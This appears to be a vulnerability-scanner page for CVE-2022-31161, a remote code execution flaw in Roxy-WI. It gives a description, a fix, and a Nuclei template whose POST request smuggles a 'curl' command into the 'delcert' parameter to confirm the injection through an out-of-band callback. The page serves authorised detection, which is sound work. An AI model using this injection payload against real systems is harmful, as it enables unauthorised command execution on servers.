Roxy-WI - Remote Code Execution

criticalseverity

9.8CVSS score

28.8%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the delcert parameter without proper input validation in the /app/options.py file, allowing attackers to inject arbitrary OS commands.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Users are advised to upgrade to latest version.

How to confirm it

Send: POST /app/options.py
Positive when: contains in interactsh_protocol "http" AND contains in interactsh_request "User-Agent: curl" AND status 200

Run it with nuclei: nuclei -id CVE-2022-31161 -u <target>

The full check

id: CVE-2022-31161

info:
  name: Roxy-WI - Remote Code Execution
  author: ritikchaddha
  severity: critical
  description: |
    Roxy-WI before 6.1.1.0 is susceptible to remote code execution. System commands can be run remotely via the delcert parameter without proper input validation in the /app/options.py file, allowing attackers to inject arbitrary OS commands.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Users are advised to upgrade to latest version.
  reference:
    - https://pentest.blog/advisory-roxy-wi-unauthenticated-remote-code-executions-cve-2022-31137/
    - https://github.com/roxy-wi/roxy-wi/security/advisories/GHSA-pg3w-8p63-x483
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31161
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-31161
    cwe-id: CWE-78
    epss-score: 0.28794
    epss-percentile: 0.98163
    cpe: cpe:2.3:a:roxy-wi:roxy-wi:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: roxy-wi
    product: roxy-wi
    shodan-query: html:"Roxy-WI"
    fofa-query: body="roxy-wi"
  tags: cve2022,cve,rce,roxy,roxy-wi,vkev,vuln

http:
  - raw:
      - |
        POST /app/options.py HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        show_versions=1&token=&alert_consumer=notNull&serv=127.0.0.1&delcert=a%20&%20curl%20{{interactsh-url}};

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

      - type: word
        part: interactsh_request
        words:
          - "User-Agent: curl"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from